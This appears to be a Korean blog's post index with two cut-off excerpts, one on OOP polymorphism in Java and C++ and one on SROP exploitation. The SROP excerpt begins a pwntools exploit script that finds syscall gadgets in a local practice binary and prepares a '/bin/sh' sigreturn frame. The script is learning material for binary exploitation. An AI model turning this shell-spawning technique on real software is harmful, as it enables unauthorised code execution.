전체 글 16

OOP 다형성

OOP 에서 상속, 다형성, 캡슐화 이 3가지가 키포인트다. 글쓴이는 C++보다 Java를 먼저 배웠는데,C++를 학습하면서, Java, Python 다형성 구현 측면에서 차이점이 있어서 정리한다. 본 글은 클래스의 업캐스팅에 대해서 알고 있다고 가정한다. Java보통 Java에서는 base 클래스를 상속 받아서 여러 클래스들을 구현한다.이때, derived 클래스에서 @override annotation을 사용하여 base 클래스의 method를 오버라이드한다.그리고 업캐스팅을 하고 base 클래스 인스턴스의 method를 호출하면, 자동으로 derived 클래스의 method를 호출한다.이러한 방식으로 Java에서는 다형성을 제공한다. class Base { void show() { ..

Development 2025.02.08

SROP

SROP ExploitSROP에서 핵심은 "sigreturn system call"이다.해당 system call이 호출될 때, rsp가 가르키는 메모리 영역에 sigcontext 구조체가 위치해야한다.pwntool에서는 SigreturnFrame()를 제공해주고, 거기에 값을 적절히 초기화해서 사용하면 된다. from pwn import *context.arch = 'amd64'p = process('./srop')elf = ELF('./srop')gadget = next(elf.search(asm('pop rax; syscall')))syscall = next(elf.search(asm('syscall')))binsh = '/bin/sh\x00'bss = elf.bss()frame = Sigretur..

Security & Hacking 2025.01.11